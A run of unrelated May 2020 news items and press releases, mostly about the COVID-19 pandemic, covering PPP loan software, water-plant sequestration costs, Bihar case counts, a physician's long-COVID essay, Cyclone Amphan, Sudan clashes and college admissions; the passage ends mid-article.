"The work of credit unions nationwide has been truly inspiring during this fast-paced and unprepared PPP rollout by the SBA," said Dave Adams, president/CEO of CU Solutions Group. "Despite the lack of clear guidance and overall readiness by the SBA, credit unions have worked quickly and proactively to process applications and to prepare for loan funding. But due to capacity restraints and concerns about fraud exposure, most credit unions and banks have focused on existing client relationships and needs," Adams continued. "By partnering with Abrigo, CUSG will be able to help credit unions extend these critical services and address the needs of new small business borrowers as well."

In addition to increased efficiency and speed on the front end, Abrigo's solution also gives credit unions the ability to calculate the forgiveness amount based on the provided PPP guidelines to ensure compliance and accuracy. Lenders can also generate Form 1502 within the platform to request their loan processing fees from the SBA and for ongoing monthly servicing.

Regardless of whether or not an institution used Abrigo for PPP loan origination, any financial institution union can utilize Abrigo's PPP loan forgiveness and administration solution. Credit unions that filed with other vendors or directly through the E-Tran portal can easily import the data from their core to streamline the forgiveness process.

"Community financial institutions were the true heroes of the Paycheck Protection Program, and their work is just beginning. As these loans are funded, credit unions need to ensure they are following the proper forgiveness procedures, an often-time-consuming process," said Abrigo President Jay Blandford. "We're proud to partner with CU Solutions Group to provide their member credit unions with direct access to our PPP Forgiveness and Administration solution to help streamline the process and keep them compliant."

Over 175 community financial institutions used Abrigo's automated PPP loan origination solution, with E-Tran integration, to quickly and efficiently process over 110,000 PPP loans, totaling more than $11.1 billion in loan volume, since the program was first launched on April 3, 2020.

CU Solutions Group member credit unions will receive preferred pricing for Abrigo's PPP Forgiveness and Administration solution through the credit union service organization. For more information, visit https://www.cusolutionsgroup.com/abrigo-ppp.

About CU Solutions Group

Headquartered in Livonia, Mich., CU Solutions Group is an award-winning credit union service organization that offers products and services in the areas of technology, marketing, HR performance and strategic advisory. The organization is home to national credit union-focused brands including Love My Credit Union Rewards, Save to Win, MemberXP, CUBE TV Studios, Compease and Performance Pro. The company has more than 100 investors comprised of credit unions, credit union leagues and credit union system organizations and maintains strategic partnerships with Sprint, Intuit TurboTax, GSTV and CU Risk Intelligence. For more information, visit www.CUSolutionsGroup.com.

About Abrigo

Abrigo is a leading technology provider of compliance, credit risk, lending, and asset/liability management solutions that community financial institutions use to manage risk and drive growth. Our software automates key processes  from anti-money laundering to asset/liability management to fraud detection to lending solutions  empowering our customers by addressing their Enterprise Risk Management needs. Visit abrigo.com to learn more. Follow Abrigo on social media using @WeAreAbrigo.

SOURCE Abrigo

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Sequestering workers inside the water treatment plant came with a high dollar cost for the City of Brandon, but the citys general manager of development services says the early uncertainty of the COVID-19 pandemic and keeping city services running was worth it.

Hey there, time traveller!

This article was published 21/5/2020 (609 days ago), so information in it may no longer be current.

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Sequestering workers inside the water treatment plant came with a high dollar cost for the City of Brandon, but the citys general manager of development services says the early uncertainty of the COVID-19 pandemic and keeping city services running was worth it.

According to a freedom of information request, the City of Brandon paid out $122,108.72 in overtime to nine sequestered staff five operators and four maintenance personnel  during the first shift, from March 26 until April 23.

Patrick Pulak said the overtime amount is based on a letter of understanding with the union representing the workers, which he said is based on "extraordinary" circumstances." Employees worked in 12-hour shifts and had two days off each week.

"We certainly would not see this amount of overtime for the entire facility for the whole year," he said.

The city is also renting four trailers for workers to sleep in at approximately $1,800 a trailer per month  a total of $7,200 a month.

"It is fairly significant and extraordinary events, and it really, when youre talking about sequestering people, there are considerations you have to make when youre essentially taking away somebodys freedom. Theyre not being able to go home, theyre not being able to do things on weekends." Pulak said.

Workers also got banked time they can take at a later point, he said.

"Some people would look at that and say unacceptable, but what price do you put on a guaranteed water supply? That was the way we viewed it, and we tried to minimize risk."

Brandon is the only major municipality in the country to sequester water treatment plant workers. Pulak said the citys size puts the Water Treatment Facility in an awkward position. Larger centres have more staff to work with in case one does get sick, but smaller municipalities arent regulated as heavily.

"Were kind of in that sweet spot where we absolutely require our staff to be healthy to run the facility, and we cant afford to lose many people," he said.

The city also spent $16,203.06 on living expenses for the first shift, such as food, exercise equipment and cooking appliances. Included in that total is $5,200.43 for food and kitchen items and $5,466.94 for propane for the trailers.

Smaller items include $427.99 for an exercise bike from Canadian Tire, $16.99 for a Netflix subscription and $25.80 for dishes from Brandon MCC Thrift Store.

Many of the items will be reused after workers are no longer sequestered, and the Netflix subscription will be cancelled.

"We bought a freezer, we bought a fridge  everything we bought, we tried to say OK, we need to find a use for this and so nothing will be wasted, whether its in the Water Treatment Facility or somewhere else, it will be reused," Pulak said.

Asked whether the high cost was justified, he said the city would sequester workers again "in a heartbeat."

"(When workers were first sequestered) we had ever-increasing cases, all we were ever told was how many cases we have in the Prairie Mountain Health region, we never knew how many of those were in Brandon.  In my mind if I had to do it over again, I probably would do it."

The city is working on plans to streamline operations if there is a second wave of COVID-19. Pulak said the second shift of workers started to leave the facility on Wednesday and will continue today. A new shift will be sequestered, but at this point the City of Brandon doesnt know how long they will be inside.

"We always knew it wasnt going to be cheap, and it may come as a shock to some people, but its a risk mitigation exercise. If you were to ask me What is our single most important service we provide to residents? it would be safe drinking water."

 dmay@brandonsun.com

 Twitter: @DrewMay_
The percentage of Covid-19 cases among those tested has doubled after the migrants began returning home from May 3.

Of the 58,905 samples tested till Friday, 3.57% (2,105) have reported positive for the virus. As on May 3, when Sharmik Special trains started running, the figure was 1.79%.

In the last one week, (May 15-May 21), the number of new infections has grown by an average 13% every day, said Bihars principal secretary, health, Uday Singh Kumawat, in a tweet Friday. He replaced Sanjay Kumar, after the government issued orders on May 20, swapping their positions, and sending Kumar to the tourism department.

In Bihar, 17 out of every 1 million people have now tested positive for the virus.

The migrants now account for 59% of the states total Covid-19 cases,which stood at 2,105 till Friday noon, 1242 of which were attributed to the migrants. Of these, 1184 have returned to Bihar after May 3, said health secretary Lokesh Kumar Singh.

Giving a break-up, he said, Of the migrants testing positive, 333 have returned from Delhi, 293 from Maharashtra and 212 from Gujarat.

Eighty of the migrants testing positive for the virus had returned from Haryana, followed by West Bengal (62), Rajasthan (45), Uttar Pradesh (41), Telangana (38), Karnataka (19), Tamil Nadu (14), and Madhya Pradesh (10) among some other states.

Bihar has done well to contain the spread of the virus by setting up block quarantine centres to house migrants there for 14 days before allowing them to go home. Till Thursday, the state had set up 10,353 block quarantine camps, where 7.45 lakh people were residing. It is here that samples of symptomatic ones and others, picked up randomly, are being collected for testing against the virus.

As of May 21, Bihar was testing 466 out of every 1 million people.

Among the migrants, Bihar had tested only 1.57% (8,337) of the 5.30 lakh, who returned to the state till May 18.

Bihar chief minister Nitish Kumar has already directed his health officials to ramp up testing facilities from an average 2,000 to 10,000 per day, and to test as many migrants as possible.

On Thursday, a total of 2,920 samples were tested in the state after eight health facilities in districts were recently equipped with TrueNat and CB-NAAT machines.

Preventing the migrants from directly going homes, after reaching the state, has helped us contain the spread of the virus, said Anupam Kumar, secretary information and public relations department. Bihar has one of the highest population densities in India (1,106 persons/sq km, as per Census 2011).

With almost 85% asymptomatic cases, Bihar has done well to segregate isolation centres depending on symptomatic, asymptomatic and cases with mild symptoms.

Around 2,300 beds have been earmarked at the three designated Covid-19 special hospitals of the state government that include the Nalanda Medical College Hospital, Anugrah Narayan Magadh Medical College Hospital (Gaya) and the Jawahar Lal Nehru Medical College Hospital in Bhagalpur. The AIIMS-Patna, with around 1,000 beds, is also taking up Covid-19 patients.

The Covid-19 special hospitals are for symptomatic and serious patients. The ones with mild symptoms are kept at the district Covid care centres, while the government has also taken up hotels and converted them into institutional isolation/quarantine centres for asymptomatic cases.

Bihar has earmarked 17,928 isolation beds and 13,464 quarantine rooms to take up the challenge posed by the pandemic.

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COVID-19 is taking a toll on my mental well-being in a way I had not expected. I have a rather high distress tolerance. I am a pediatric emergency psychiatrist. Now I am a wounded healer battling anxiety and fears from the constant unknown taking place inside my body.

In early March, before New York State went on pause, I woke up to an intense headache, followed by malaise, chills, throat soreness, and low-grade fever. The CDC guidelines explicitly stated then that without symptoms of cough, shortness of breath, fever, and travel or exposure history, COVID testing would not be indicated. My doctor ordered a viral respiratory panel. When the results came back negative, they presumed me to have COVID. I remembered being better by day five, but then took a turn south the next morning. The shortness of breath came on. I frequented the bathroom throughout the day. Ten days in and I had to pry my crusted, red eyes open with my fingers. For two full weeks, I stayed at home to recover. With improved energy, I chronicled my experience. I returned to work. Weeks later, I became the first wave of healthcare workers eligible for serology testing. My COVID antibodies came back positive.

Five weeks into my convalescent phase in mid-April, I woke up at 4 a.m. to an intense burning sensation in my chest. I gasped for air as a wave of nausea came on. The pain shot down to my left arm and fingers. I only saw white light. In a panic, I looked for my phone, intending to call 911. By the time I found it, the contour of my room reappeared into my vision. My breathing slowed. The pain subsided. I got out of bed, walked into the kitchen, and poured myself a glass of water. What just happened? Too scared to alarm my husband and children, I convinced myself it was a bad panic attack and headed back to sleep. A week later, the same thing happened. That morning, I spoke with a few of my physician friends. The consensus: I ought to go to the ED.

My chest X-ray, EKG, D-dimer, troponins, white cell counts all came back normal. Maybe it was just a bad panic attack. Unsettled, I reached out to my cardiologist colleague who saw me right away. An echocardiogram revealed no structural damages, but he was aware of coagulopathy concerns in COVID, namely microvascular thrombi. He started me on thromboembolic prophylaxis with rivaroxaban. Another caution he highlighted: No strenuous physical activity. Weeks removed from the media hyped symptoms, I was finding out that other insidious aspects of COVID lurked for those with a mild case.

Amid my cardiac spells, I lost loved ones to this terrible illness. One family member had a prolonged hospital course. Another died after exhibiting mild COVID symptoms a few weeks earlier. My beloved family cried, mourned, and said goodbye without the proper rituals. It broke me. My children witnessed me grieve. I couldnt shield them from it.

That all added to my sense of inadequacy as a mother. I love my children. It was very trying to meet their needs. I yelled to break up a fight. I bargained to get them bathed. Remote learning dropped to a lower spot on our immediate priority list. The kids littered my living room with Play-Doh, dolls, Lego pieces, crayons, papers. I was too tired to clean it up.

Then there was work. Patients came into the pediatric ER with behavioral complaints because things at home had reached a breaking point. The pandemic exhausted parents. Teens complained of the restrictions. Some were doing destructive things either to others or themselves. Trying to meet their needs was a challenge. We had transitioned to telepsychiatry when the hospital refitted its infrastructure to meet the COVID surge. Workflow implementation and remote care delivery came with a sharp learning curve. It was a daunting process.

With the chest pain improving, I thought I was on the mend. Yet with each passing day, I was becoming more sloth-like as fatigue and lightheadedness hampered on my productivity. A flight of stairs left me panting at the top. I scared my husband and kids when my legs gave in, and I stumbled to the floor. Why was I fainting at home in the middle of the afternoon?

The unremitting nature of COVID recovery has left me vulnerable and fearful. A moment of improvement, followed by onset of an unprecedented symptom, has been traumatizing. Even with the best practice of cognitive reframing, I couldnt calm my hypervigilance. I have an abundance of support from colleagues, friends, family, and my therapist. Its been a blessing. I practice love and kindness through meditation, writing, healthy eating, and gentle yoga. Distraction came in streaming Disney+ with my daughter and singing Taylor Swift songs with my preschool son. Some days, all of it just doesnt seem enough.

I am taking notes, asking questions, and reading up on the literature. In a physician COVID group on Facebook, I crossed paths with others enduring the same struggles. That has provided tremendous relief. Some around me, and others in the public, are questioning whether this is all real. I cannot expect them to understand, nor would I ask them to validate. In sharing my experience, I hope to foster a sense of connection and belonging for those recovering from COVID. Sometimes knowing you are not alone in overcoming mysterious symptoms can make a world of difference.

Annie S. Li is a pediatric emergency psychiatrist.

Image credit: Shutterstock.com
American journalist Matt Belanger was assaulted and physically attacked by a man who perceived he was homosexual. The International Federation of Journalists (IFJ) condemns this cowardly homophobic attack against a journalist and expresses all its solidarity with the victim.

According to media reports and local police, KSTP-TV journalist Matt Belanger was walking across a light-rail station in Minneapolis on May 12 when an object hit him in his left eye.

The police arrested the man who threw the object, Vennie Jerome Williams, shortly after officers viewed surveillance footage that clearly showed the assault. The complaint filed by the police said that the defendant made statements indicating that he had assaulted the victim because he perceived that he was homosexual.

The attacker was charged with third-degree assault and harassment.

As a result of the assault, Belanger could lose his vision permanently in his left eye and has had to stop working.

In a Facebook video, Belanger, wearing a black eye patch, spoke about the assault. A man who I do not know, suddenly, from close range, threw something at my face and it had enough force to cause some damage to my left eye, he said.

IFJ General Secretary, Anthony Bellanger, said: We stand in solidarity with Matt and wish him a quick recovery. We deplore this homophobic attack against him and expect authorities to deliver justice and compensation to our colleague.
Cyclone Amphan devastated coastal areas of the eastern Indian states of Odisha and West Bengal on Wednesday afternoon, and neighbouring Bangladesh on Thursday morning. Described as a super cyclonic storm, Amphan reached wind speeds of 185 kilometres per hour, tearing down powerlines, flooding low-lying areas and taking the lives of over 90 people76 and 15 in India and Bangladesh respectively.

The Sundarbans mangroves forest region, a 140-hectare UNESCO world heritage site that is home to four million people, bore the brunt of the cyclone on Wednesday afternoon. The region lies on the delta of the Ganges, Brahmaputra and Meghna rivers on the Bay of Bengal. Cyclone Amphan then moved north and north-eastwards, hitting Kolkata, the West Bengal capital, and then Bangladesh on Thursday.

Working people and the rural poor in eastern India and Bangladesh have been worst hit by the disaster, which comes on top of the deadly impact of the coronavirus, which has already claimed more than 3,800 lives in the two countries.

While an estimated total of more than three million people have been evacuated from cyclone affected areas in both countries, their relocation into overcrowded shelters places them in real danger of contracting the highly infectious virus.

West Bengal Chief Minister Mamata Banerjee said that over 70 people had been killed by Cyclone Amphan and announced a meagre compensation package of 250,000 rupees ($US3,300) for the families of victims.

The worst hit areas in West Bengal included South and North 24 Parganas and East Midnapore. The states capital Kolkata, which has a population of 15 million, was also battered by the storm.

In a press briefing, West Bengal officials declared that it was impossible to provide an immediate assessment of the damage, but added: Amphan mauled telecommunication systems, uprooted trees and electric poles, destroyed thousands of dwellings, and ravaged roads, bridges and embankments and jetties across North and South 24-Parganas and parts of East Midnapore

At least 15 embankments were breached. Telephone connectivity is badly affected In Minakha alone, 5,200 houses have collapsed. Dozens of places are as badly affected or worse National Highway 117 had become virtually inaccessible because of fallen trees between Kolkata and Diamond Harbour.

Kolkata residents told the BBC that it was the worst storm they had experienced in decades and described flooded homes, electricity transformers exploding and extensive power outages.

Krishnachandrapur High School headmaster Chandan Maity told Telegraphindia that Amphan was the worst cyclone in living memory and that dangerously high winds had prevented residents from moving to safety. A disaster management official told the publication that over 50,000 mud and brick homes had been severely or permanently damaged in the Sundarbans region. Almost all tin roofs have been blown away and most cellphone networks were down, he said.

Chief Minister Banerjee, fearful of the political consequences of the catastrophic impact of the cyclone and rising popular anger over the failure of Indian authorities to protect the population from COVID-19 infections, told the media that the cyclone was more worrying than the coronavirus.

We dont know how to handle it, Banerjee said. Almost everything is destroyed in the coastal villages of the state area after area has been devastated [and] communications are disrupted. Weve never seen such a cyclone.

In Bangladesh, the cyclone struck seven low-lying areas in the countrys south-west including Jashore, Bhola, Barguna, Patuakhali and Pirojpur with high winds and torrential rains. Powerful tidal waves, some as high as 12 feet (3.7 metres), destroyed embankments (levees), inundating villages and towns and cutting electricity supplies to more than five million people.

Ahmadul Kabir, director of Bangladeshs Cyclone Preparedness Programme, said that around 2.4 million people from 19 coastal districts had been relocated to over 14,600 schools and other buildings that were being used as temporary storm shelters. Hundreds of Rohingya refugees, living in overcrowded and substandard accommodation in Coxs Bazar, were reported to have been moved to shelters. About one million refugees live at 34 camps in the Coxs Bazar district.

Several embankments or levees in Barguna and other districts were breached resulting in crops and fish farms being washed away. Sanjib Sagar, a resident of Ghoramara Island in the Sundarbans, told Reuters that many houses have been damaged. Another villager Babul Mondal, 35, who lived on the edge of the Sundarbans said that the houses look like they have been run over by a bulldozer.

Enamur Rahman, minister for disaster management and relief, arrogantly told the New Nation that: Bangladesh is viewed as a role model when it comes to calamity management and that millions had been relocated to over 12,000 cyclone shelters in the coastal regions.

Notwithstanding these claims, the Bangladeshi governments overcrowded temporary cyclone shelters place working people and the rural poor in real danger of contracting COVID-19.

While the cyclone is an environmental disaster, its impact on the lives and livelihood of millions of people in India and Bangladesh has been worsened by the callous refusal of the ruling elites to provide whatever is necessary to protect working people and the rural poor.

Cyclones, torrential rains and floods are regular events throughout South Asia. Despite this, successive governments of every political colouration in the region have refused to allocate the desperately needed resources to build infrastructure that would mitigate the impact of environmental catastrophes, and health disasters such as COVID-19, on ordinary people.
Source: Xinhua| 2020-05-23 03:18:04|Editor: huaxia

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MUSCAT, May 22 (Xinhua) -- The Omani Ministry of Health announced on Friday 424 new confirmed cases of COVID-19, bringing the total number of cases in the country to 6,794.

According to a statement issued by the ministry, all new cases, including 191 Omanis, are related to community contact.

The statement also said there are a total of 1,821 patients who have recovered from COVID-19. Two new death were reported, bringing the death toll to 32.

The ministry called on people to observe the procedures for quarantine, avoid public places or places of worship, and ensure public hygiene. Enditem
Vancouver, British Columbia--(Newsfile Corp. - May 21, 2020) - On national TV Sat. May 23 & Sun. May 24, 2020 - BTV-Business Television partners with Invest Canada North to showcase mining opportunities in Canada's Northern Territories.

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BTV-Business Television is Canada's longest running business show. With Hosts Taylor Thoen and Jessica Katrichak, BTV features emerging companies across the country to bring investment opportunities to everyday people.

BTV BROADCAST TIMES:

CANADA: BNN Bloomberg - Saturday May 23 @ 8:00pm EST, Sunday May 24 @ 4:30pm EST

Bell Express Vu - Saturday May 23 @ 8:00pm EST, Sunday May 24 @ 4:30pm EST

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The Fauquier Times is honored to serve as your community companion. To say thank you, we are excited to offer 4 weeks FREE Digital & Print access to all subscribers new and returning alike.

We are dedicated to continuing providing reliable, high quality journalism. This is possible with the trust and support of our subscribers in the community we are proud to serve.
Well, now we have a better idea as to when the Blue Oval will launch the all-new Explorer: according to P.K. Umashankar, president and managing director of Ford Philippines, they are aiming to introduce the model by either the end of 2020 or early in 2021.

One anticipated model that has been significantly delayed is the new generation Ford Explorer, a model that was initially revealed at the Detroit motor show in January... of last year.

The situation with the coronavirus has delayed a lot of plans from a lot of automobile companies, particularly with regards to the introduction of new models.

We know that's not a very specific timeframe, but it does give customers an idea when the Explorer will arrive showrooms and prepare their plans accordingly.

The new generation Explorer will replace the very popular fifth-generation model that has been in Philippine showrooms since October 2011, while the current facelifted model has been in the market since 2018.

The new generation of Ford's three-row midsize crossover SUV has been fully redesigned both inside and out and features uprated EcoBoost turbo engines, a primarily rear-wheel drivetrain (instead of the front like the current model) with optional all-wheel drive, new ten-speed automatic gearbox with a rotary dial drive selector, SYNC 3 infotainment, Terrain Management System, enhanced safety systems and more.

The reason for the rather long timeframe between the model's initial reveal and the local market launch is simple: supply and demand. The Explorer, as before, is made at Ford's plant in Chicago, Illinois. With the model's popularity in the U.S. market, production was actually already behind to meet the demand of the Explorer amongst their customers at home, what more for export customers in the Philippines. As such, Ford Philippines has had to hold off on announcing the introduction of the new generation Explorer.

Of course, that was even before the coronavirus pandemic played a role and shut down assembly lines. In fact, as of this writing, the Chicago plant has had to shut down again (after restarting on Monday, May 18) according to various reports due to more COVID-19 infections.

That means more delays, especially since the U.S. has the single largest tally of positive coronavirus infections at 1,621,196 confirmed cases.
An upsurge in bloody tribal clashes in Sudan has killed at least 59 people and wounded over 100 this month, heaping more pressure on the country's fragile transitional government.

More than a year since the fall of longtime autocrat Omar al-Bashir, who ruled over ethnically diverse regions with an iron fist, the joint civilian-military administration has struggled to steady a politically and economically unstable Sudan.

In the latest inter-ethnic violence, 30 people were killed in clashes on May 7 between the Arab Rizeigat tribe and the Falata, who trace their roots to western Africa, sparked by a dispute over livestock.

Three days later, three people died, 79 were wounded and several homes were burnt down in violence between members of the Bani Amer and Nuba tribes in the eastern city of Kassala, near Sudan's border with Eritrea.

This was followed by yet more lethal confrontations that left 26 people dead and 19 injured on May 13 in Kadugli, the capital of South Kordofan province.

Tribal grievances spilling over into bloodshed have been a mainstay of Sudan's numerous ethnic conflicts since independence from British and Egyptian rule in 1956.

Sudan's most notorious violence shook the Dafur region in 2003 when Bashir's Arab-dominated government crushed an ethnic minority uprising in a scorched-earth campaign that killed 300,000 people and displaced 2.5 million.

More broadly, Sudan's nomadic tribes, who mostly drive herds of cattle or camels over extremely arid lands, have often fought over scarce grazing lands, water and livestock.

But regional experts and tribal sources say the latest armed violence is different because the young Khartoum transitional government has been unable to exert political control and a security presence.

- 'Culture of war' -

The new prime minister, Abdalla Hamdok, embarked on peace talks with rebel groups last year, seeking to make the peace efforts a key plank of his mandate to govern.

The United Nations warned in a March report that even though armed rebel activity had declined, intercommunal tensions must be resolved to avert further violence.

But analysts see tensions now flaring again in the wake of years of wider political turmoil, including last year's popular revolution in Sudan and the 2011 breakaway of South Sudan.

"Previous conflicts were taking place under a state that imposed its control over all of Sudan's territory," veteran analyst and newspaper publisher Mahgoub Salih told AFP.

"But after the secession of the south, these clashes are taking place in a country that has witnessed wars in a third of its provinces.

"A culture of war has escalated with the spread of illegal arms and the number of militias has increased."

The bloodshed has fuelled talk of sinister plots to sow discord.

Falata tribal leader Youssef al-Samani insisted the recent clashes were an aberration, telling AFP that "our relationship with the Rizeigat has been solid over many decades, but other parties sowed this discord between us".

Saleh Hussein, a Kassala resident, also maintained there is "absolutely a third party whose interest is to cause turmoil and fuel conflict".

- A shadowy force? -

Military general and ruling council member Mohamed Hamdan Dagalo, widely known as Hemeti, has also described the recent violence as "all part of a prior plan" to foment instability.

He charged the goal of this "hidden hand" was "not only to target the Rapid Support Forces (RSF) but also to destroy Sudan".

The RSF is the paramilitary group he leads, which is accused of war crimes in the Darfur conflict.

Al-Nur Hamad, a political analyst, also alleged a "third party" was at play but linked it to remnants of the Bashir regime.

"It is clear to everyone who has monitored the security situation in the country in the past few months that there are hands tampering with its security and stability," he told AFP.

However, Aref El-Sawy, a Nairobi-based journalist specialising in ethnic conflicts in East Africa, dismissed the idea of a shadowy force stoking tribal conflicts.

"Conspiracy theories and the third party narrative can't just be accepted at face value," he said.

A security expert who spoke on the condition he not be named said tribal disputes during Bashir's reign "were in remote rural areas and were about farms, water supplies or even turf wars over the land.

"But now they have entered urban areas."

He argued that the tribal tensions now threaten the country's already stalled peace talks with rebel groups.

Further escalating the danger, he said, is the fact that tribes are able to easily purchase weapons thanks to a thriving cross-border arms trade with Ethiopia and Eritrea, another sign of the new government's lack of reach.
The son of killed Saudi journalist Jamal Khashoggi has released a statement forgiving his killers, BBC reported.

"In this blessed night of the blessed month [of Ramadan] we remember God's saying: If a person forgives and makes reconciliation, his reward is due from Allah," Salah Khashoggi tweeted.

"Therefore we the sons of the Martyr Jamal Khashoggi announce pardoning those who killed our father, seeking reward God almighty."

Jamal Khashoggi worked as a columnist for The Washington Post and was known for critical writing about the Saudi authorities. He disappeared on October 2, 2018 while visiting the consulate general of his country in Istanbul. Riyadh denied his disappearance, but after some time the Saudi authorities were forced to admit that the journalist was killed as a result of a quarrel with consular workers. The international community has sharply condemned this crime, urging Riyadh to conduct a transparent investigation.

In December last year, a court sentenced five people accused of killing the journalist to death. Three others involved faced 24 years in prison.
Bangladeshi worker Raju Sarker thanking the doctors and nurses who helped him recover from COVID-19. (PHOTO: Screenshot/Facebook)

SINGAPORE  The Bangladesh man who spent two months in the intensive care unit (ICU) after being infected with COVID-19 is well enough to be moved to a community hospital soon for further recuperation.

Raju Sarker, 39, was Singapores 42nd COVID-19 patient after he was admitted to Changi General Hospitals ICU on 7 February. He was in very critical condition after having had respiratory and kidney problems as well as pneumonia prior to being infected with the coronavirus, said the Bangladesh High Commission on 21 February.

On Thursday (21 May), however, he was thanking those who had supported him throughout his illness in a 1-minute video put up on the Facebook page of Migrant Workers Centre (MWC).

To the Singapore government who has treated me for free, the doctors and nurses who worked tirelessly and brought me back to health, I thank you, he said in his native language.

Raju also thanked his company and MWC for supporting his family. His wife had given birth to their firstborn, a boy, on 30 March while he was in sedation.

He was cleared of the coronavirus in March and was later transferred out of ICU into a general ward in Tan Tock Seng Hospital in mid-April.

Raju was the first of five cases  all Bangladeshi nationals  linked to a construction site at Seletar Aerospace Heights, one of several identified clusters in Singapore.

In the Facebook video, he urged his fellow migrant brothers to observe the regulations set by the Singapore government to stem the spread of COVID-19 among the migrant workers dormitories.

If you abide by the regulations, dont be afraid, the government will help and stand by you, he said in the video.

Stay in the know on-the-go: Join Yahoo Singapore's Telegram channel at http://t.me/YahooSingapore

Related stories:

COVID-19: Infected Bangladeshi man out of ICU after more than 2 months

COVID-19: Wife of critically ill Singapore-based Bangladeshi worker gives birth to firstborn

Bangladeshi man infected with COVID-19 in Singapore in 'very critical' condition: High Commission
Over 60,000 Canadians had lost their lives in World War 1 by the spring of 1918  and another disaster was hitting home: Soldiers were returning to Canada from battlefields abroad infected with Spanish Flu, an exceptionally deadly strain of influenza. This virus swiftly spread across the country, killing more than 55,000 Canadians. In the century since those tragedies converged on Canadian soil, much has changed  yet, this springs coronavirus pandemic still rocked Canadians way of life. COVID-19 will probably not be as deadly as the Spanish Flu, but the essence of the current crisis is the same: the lack of control, says former diplomat and current esteemed international digital affairs consultant Derk Oldenburg. Despite the great scientific and economic progress weve made since 1918, the coronavirus is a killer that we  for the moment  do not control.

While it isnt yet possible to effectively treat the virus through scientific measures like a vaccine, governments are realizing that clear and reliable communication is a powerful tool thats able to shape the curve of the pandemic. The Spanish Flu spread because of a lack of knowledge, medicine and public health capacity, explains Dr. Georg Serentschy, former chairman of the EU regulatory authority BEREC and current public policy consultant. Coordination between authorities at that time was insufficient and there was a lack of transparency, as public information was censored and connectivity was limited. After all, the telephone was invented only a few decades prior.

Whats rapidly becoming clear is that while ineffective communication enabled the spread of the Spanish Flua pandemic that persisted for more than a year  connectivity is one of the greatest strengths at our disposal in the fight against COVID-19. The world is learning on the job and the teacher may be the European Union, suggests Serentschy. After all, in the early days of COVID-19s spread overseas, the divided bureaucratic system of the European Union (EU) made it difficult to cohesively construct and communicate a plan to stomp out the virus: Member states take the lead in health care matters, while the European Commission can only provide advice. European nations needed urgently to find their own solutions, and they initially didnt use the existing EU coordination infrastructure  but that has changed: A common approach to loosened restrictions was recently announced, and the 2020 EU budget has been adapted to address the most urgent needs, explains Serentschy. With a unified and clear plan in place, governments are now taking the first steps toward reopening economies.

This high level of coordination is, of course, supported by more than diplomacy: Broadband technology has proven to be an indispensable asset, serving as both a social and economic lifeline. After weeks of lockdown in Europe, those networks have passed an unprecedented stress test, says Oldenburg. The EUs early COVID-19 successes hold important lessons for Canada. Germany, Austria and Denmarks ability to slow the spread and contain the infection rates demonstrate the critical role of early action, a well-funded public health system, a population that demonstrates trust in elected government and resilient telecom networks that have sufficient headroom, says Oldenburg. In that view, Canada has many of the resources necessary to efficiently overcome the COVID-19 crisis: an early response, a functional federal state, universal public health care and a world-leading telecommunications network thats been able to shoulder both societal networking needs and the influx of economic activity during the COVID-19 crisis. Looking at Canada, it is fair to say that its strong wireless networks maintained their position of global leadership and, indeed, have withstood the increased and changing load stress, says Serentschy. Canada has also purchased some precious time, through early action and can now contemplate policy options and next steps.

The pandemic has marked global history. Lives have been lost and businesses have shuttered. Those difficult disruptions will have wide-reaching ripple effects. With 70 to 80 per cent of the entire economy going online overnight, COVID-19 may have triggered the biggest ever push to digitization of our time, says Oldenburg. After all, historically, the most challenging situations have fostered innovation; and indeed, today, cutting-edge applications and services are being developed to adapt to a rapidly shifting social landscape, like the Pan European Privacy Preserving Proximity Tracing, which was designed to facilitate digital contact tracing of COVID-19-positive participants.

As the number of infections declines in Canada and the government readies to restart the economy, a thriving digital industry and robust telecommunications sector will be the key to success. But as online service providers continue to grow, benefiting from this massive economic reorganization, many countries  including Canada  will have to carefully re-calibrate competition policies to ensure dominant internet platforms are kept accountable. Given the similarities between EU and Canadian societies, it is worthwhile to monitor the application of the updated legislation  the European Electronic Communications Code  and watch how the European model copes with the exceptional challenges of our time, says Serentschy. If governments allow the market to work, federal support of essential connectivity can be limited, and Canada will never face the lack of information, coordination and transparency that was faced in 1918.

ABOUT THE AUTHORS

Dr. Georg Serentschys professional career began in the field of nuclear physics. He was the head of the Austrian communications regulatory authority (RTR) and, later, Chairman of the EU regulatory authority, BEREC. He now runs a consulting practice, active in the areas of regulation, competition, innovation, spectrum and cyber security, and public policy.

Derk Oldenburg is a former Dutch diplomat who served as Deputy Ambassador to Germany and the European Union. Until recently he was Managing Director for Public Policy with Liberty Global, a leading video and broadband company. He now works as a consultant, focusing on EU and digital affairs.
At first, Rosalie Ngatchou wanted to go far away to college, to see more of the world and gain independence. A senior at a District of Columbia. charter school, she cast her eyes to an outpost of the State University of New York in Oswego on Lake Ontario.

Now, like many college-bound students, she's thinking local.

Her mother's day-care business has closed. Money is tighter. Familiar surroundings feel safer. So Ngatchou is taking a second look at schools closer to home: University of the District of Columbia and George Mason University in Northern Virginia.

"I realized how important it is to be able to access your home as quickly as possible," Ngatchou said. "Things can change in an instant."

These kinds of calculations are injecting unusual turmoil into an admissions season shadowed by huge question marks about when and how colleges will reopen their campuses. The May 1 decision deadline that many schools use to fill classes has come and gone. In an overtime season without precedent, recruiters everywhere are scrambling to find students willing to travel out of state to enroll.

The imperative to fill seats is urgent for almost all colleges during the economic downturn. But for public universities, it is especially vital to secure out-of-state students because they typically pay higher tuition rates.

Hundreds of colleges and universities have pushed back decision deadlines to June 1. Some prestigious schools that held to May 1 nevertheless gave more time to those who asked. Greg Roberts, dean of admissions at the University of Virginia, said the school gave about 100 extensions. "We were very accommodating," he said.

Roberts said U-Va. is on track to fill its incoming class of about 3,750 students, with its usual mix of about two-thirds from Virginia and one third from elsewhere. But he is keeping close watch on international enrollment, which is vulnerable to pandemic travel restrictions, and the university began to make offers from its wait list in April, somewhat earlier than usual.

Undergraduate tuition varies at U-Va. depending on academic fields. But a Virginian enrolling next fall in the College of Arts & Sciences who did not receive financial aid would be charged about $14,000, not counting fees, room and board. An out-of-state student would be charged about $48,000.

Multiplied times thousands of students, the out-of-state rate yields tens of millions of dollars in revenue, for U-Va. and many other public universities.

That is critical for those schools in an era when state appropriations fund a smaller share of their operating budgets. The economic crisis caused by the pandemic could also squeeze state funding. And international enrollment, another key source of revenue, could plummet. Students from China and other countries pay the out-of-state rate at public universities and form a large share of the student body - sometimes 10 percent or more.

That makes students like Ashley Kimani especially valuable right now.

